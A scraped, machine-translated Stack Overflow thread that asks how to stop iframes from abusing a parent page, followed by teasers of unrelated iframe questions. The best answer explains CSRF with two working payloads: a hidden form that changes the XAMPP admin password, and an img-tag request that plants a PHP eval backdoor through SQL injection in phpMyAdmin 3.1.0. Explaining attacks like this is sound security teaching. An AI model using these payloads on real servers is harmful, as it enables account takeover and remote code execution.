个人中心
文章发布
退出
作者热门文章
- html - 出于某种原因，IE8 对我的 Sass 文件中继承的 html5 CSS 不友好？
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景？
30
4
有没有办法限制 iframe 在父级中可以执行的操作？我正在寻找的是围绕 Javascript 的安全模型，如下所示:
...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}
function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
Deny All;
Allow javascript:AllowedToAccess();
}
iframe script.untrusted {
Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...
两个“trusted.html”看起来都像:
<html><body>
<script type="text/javascript">
function InternalCall()
{
window.parent.AllowedToAccess();
}
function InternalCall2()
{
window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
Allow javascript:document.body.offsetHeight;
Allow javascript:document.title;
}
script.untrusted {
Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldnt.php');
</script>
</body>
</html>
“SomethingIShouldernt.php”看起来像:
NotAllowedToAccess();
“untrusted.js”看起来像:
window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append('<div id="badid"></div>');
window.parent.jQuery('#badid').load('SomethingIShouldn't.php');
(呃...抱歉太过分了。)
您会注意到 HTML 代码中不存在“安全”标记。我正在考虑类似 CSS 选择器声明，并混合一些类似 Apache 的安全语法来定义规则。 (我没有使用 window.parent 规则，但它希望为浏览器阻止跨站点脚本展示一个不错的解决方法，这确实是非常令人沮丧的工作 - “我相信父窗口只能访问我的窗口的高度，并且标题”)。我希望这样的东西已经以某种形式存在(甚至是规范草案)。但恐怕答案是否定的。
这可以完成(甚至部分完成)吗？如果没有，那么我需要与谁交谈才能实现这样的事情(标准委员会或浏览器实现者)？当然，假设这有任何意义？
最佳答案
简短的回答是否定的，XSRF 与 iframe 无关。
伪造的请求是否来自 iframe 并不重要。伪造的请求必须来自另一台服务器，攻击者才能利用它。黑客使用 iframe 是因为它们可用于在 XSRF 漏洞利用中伪造发布请求，因为该漏洞利用必须使用 javascript 自动提交论坛。这是我针对 XAMPP 编写的真实 XSRF 漏洞，它更改了管理密码。最好在 iframe 中执行此 javascript/html，这样受害者就看不到它，但此漏洞可能会在没有 iframe 的情况下重定向整个窗口，并且仍然会更改管理员的密码。
<html>
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
但是如果 XSRF 攻击是基于 GET 的，那么 iframe 对攻击者没有帮助。最好使用 img 标签在受害者浏览器上自动发送伪造的请求。这是我为 phpMyAdmin 3.1.0 编写的另一个漏洞。这会在 Web 根目录中上传一个 php 后门。这个漏洞利用非常棒，因为它可以在不启用任何脚本的情况下工作并影响大量系统。
<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>
关于javascript - 如何防止涉及嵌入式 iframe 的 CSRF/XSRF 攻击？，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/2137505/
30
4
0
所以我知道，如果我将 iFrame 包含到不在同一域中的页面，我将无法通过浏览器策略访问该 iframe 的 DOM，但是 iframe 中的页面可以执行任何类型的父文档访问吗？ 具体来说，我必须考虑
我有 3 个嵌套的 iframe，我想访问第三个 iframe 中的元素(链接)。 var iframe = document.getElementById('aswift_2'); var inne
Chrome 有最简单的方法，只需从下拉列表中选择一个框架即可。 Firefox 提供了 cd(frame)功能不太好用，但只要您愿意发现哪个框架是哪个框架就可以完成工作。 但是我们如何在 Inter
我们公司正在考虑允许第三方网站使用我们的在线结账系统。 一位客户表示，他们希望能够使用灯箱样式的弹出窗口来显示结帐。他们希望在网站的每个页面上都可以使用它，因此大多是不安全的页面。我们的结帐系统和客户
当 iframe 中加载的页面来自另一个域时，我们如何从 iframe 中加载的文档访问父文档？ 我收到权限被拒绝错误。 最佳答案 如果您可以控制这两个文档，那么您可以轻松地使用 easyXDM (
使用 SOAP 调用我得到一个 URL 并在 iframe 中显示。那个 URL 内容是一个表单，用户需要填写所有数据并提交它。当我调用 SOAP 函数时，也给出了一个返回链接，其中一个重定向到我的站
我正在尝试开发一个小型 Web 应用程序，其中包含一个使用来自另一个域的 iframe 的 Web 应用程序。我正在尝试在本地计算机上对此进行测试，为此我需要模仿 iframe 来自另一个域(虽然它实
我有一个网页 指向另一个网站。我不希望这阻止页面其余部分的加载。有没有办法异步加载它？ 最佳答案 使用 jQuery，可以实现以下效果: $(window).load(function() {
我搜索过高低，无法找到解决方案。在我看来，iframe API仅适用于较旧样式的网址，而不适用于较新的海关网址。 我的意思是，如果某人的YouTube网址为www.youtube.com/user/T
我想在我的网站上显示youtube视频。 iframe是可能的，我只需要像这样将其放在我的网页上。 一切都很好，除了我超过99％的客户来自伊朗，而且YouTube在伊朗被政府封锁。因此，直接从you
就目前情况而言，这个问题不太适合我们的问答形式。我们希望答案得到事实、引用资料或专业知识的支持，但这个问题可能会引发辩论、争论、民意调查或扩展讨论。如果您觉得这个问题可以改进并可能重新开放，visit
所以我有一个简单的页面，当用户单击链接时，iframe 将打开。我正在尝试使用 http://www.google.com/support/analytics/bin/answer.py?hl=en&
假设情况:我有一个名为“miniatureBoltsInCarburetors.com”的不起眼的小网站，该网站提供有关将化油器固定在一起的微型 bolt 的内容以及一些一般相关的汽车信息。我的网站还
IE 6.0 向我显示消息“此页面包含安全和非安全项目”，因为我的页面上有 iframe(针对组合框错误)。我尝试指向 src 中的一些不同的内容，但如果不放入空白的 html 页面，我似乎无法摆脱此
我有一个带有一个 iframe 和一个按钮的网页。 在页面加载事件中， if (!Page.IsPostBack) { string sDocUrl = //some doucmen url Ifra
我有一个带有一些 IFrame 的页面。这些 IFrame 位于同一域中。我想在打开模态窗口时从页面中删除 iframe 内容，以减少模态窗口中的延迟。 然后，当我关闭模态窗口时，我希望将 IFram
我正在尝试访问一个框架内的控件，该框架位于另一个框架内的框架内。 最后(最深的)框架仅用于登录 - 我设法做到了。 问题是登录后我基本上需要回到上框点击一个按钮。出于某种原因，我不断收到错误消息: N
我有下一个元素结构: .. actual markup with scripts here 使用纯 javascript，我已经摆脱
我们使用 Worldpay 作为我们的支付提供商，我们将 PayPal 作为 worldpay 的一部分实现，这意味着我们只与 Worldpay 集成，他们处理 PayPal 集成。 虽然这会带来很多
我有一个客户，由于特定原因，需要在 HTTP 页面上放置一个指向 HTTPS 页面的 IFRAME。 HTTP 页面托管在与 HTTPS 页面不同的域和服务器上，但都属于同一客户端。 撇开为什么不应该
我是一名优秀的程序员,十分优秀！